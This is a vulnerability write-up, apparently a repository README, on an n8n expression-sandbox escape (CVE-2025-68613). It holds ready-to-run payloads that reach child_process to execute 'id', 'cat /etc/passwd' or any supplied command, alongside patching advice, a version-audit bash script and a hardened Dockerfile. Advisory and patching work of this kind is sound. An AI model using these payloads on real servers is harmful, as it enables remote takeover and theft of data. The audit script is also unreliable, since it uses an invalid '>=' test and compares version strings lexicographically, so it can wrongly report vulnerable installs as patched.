CVE-2025-68613-n8n-rce-analysis

🔓 VULNERABILITY CHAIN:
┌─────────────────────────────────────────────────────────────────┐
│  📝 n8n Expression Language → Dynamic Data Handling            │
│                           ↓                                     │
│  ⚠️  Insufficient Sandbox Isolation in Server-Side Eval        │
│                           ↓                                     │
│  💀 Malicious Expression Escapes Sandbox                       │
│                           ↓                                     │
│  🖥️  Access to Node.js child_process Module                    │
│                           ↓                                     │
│  💥 FULL RCE - OS Command Execution                            │
└─────────────────────────────────────────────────────────────────┘

graph TD
    A[🔐 Authenticated User] -->|Creates| B[📝 New Workflow]
    B -->|Injects| C[💀 Malicious Expression]
    C -->|Triggers| D[⚡ Expression Evaluation]
    D -->|Exploits| E[🔓 Sandbox Escape]
    E -->|Accesses| F[🖥️ Node.js Runtime]
    F -->|Executes| G[💥 OS Command via child_process]
    G -->|Achieves| H[☠️ FULL SERVER COMPROMISE]
    
    style A fill:#4CAF50,color:#fff
    style C fill:#ff9800,color:#fff
    style E fill:#f44336,color:#fff
    style H fill:#9c27b0,color:#fff

// 🔴 PAYLOAD MALEVOLO (NON USARE ILLEGALMENTE)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}

┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 VULNERABILITY ROOT CAUSE                                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  The n8n expression evaluator LACKS a sanitizer to prevent function     │
│  expressions from accessing:                                            │
│                                                                         │
│    ❌ this.process        → Node.js process object                      │
│    ❌ mainModule.require  → Module loading system                       │
│    ❌ child_process       → OS command execution                        │
│                                                                         │
│  This allows direct access to system modules and arbitrary code exec!   │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

# 🛡️ Aggiorna n8n alla versione corretta
npm install -g n8n@latest

# O con Docker
docker pull n8n/n8n:1.122.0

#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n version audit

echo "🔍 Checking n8n version..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  VULNERABLE: n8n $VER affected by CVE-2025-68613"
        echo "📦 Required: Upgrade to 1.120.4, 1.121.1, or 1.122.0+"
        exit 2
    else
        echo "✅ SAFE: n8n $VER is patched"
    fi
else
    echo "❌ n8n not found in PATH"
fi

# 🛡️ Hardened n8n deployment
FROM n8n/n8n:1.122.0

# 👤 Run as non-root user
USER node

# 🔒 Apply these runtime flags:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation 
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team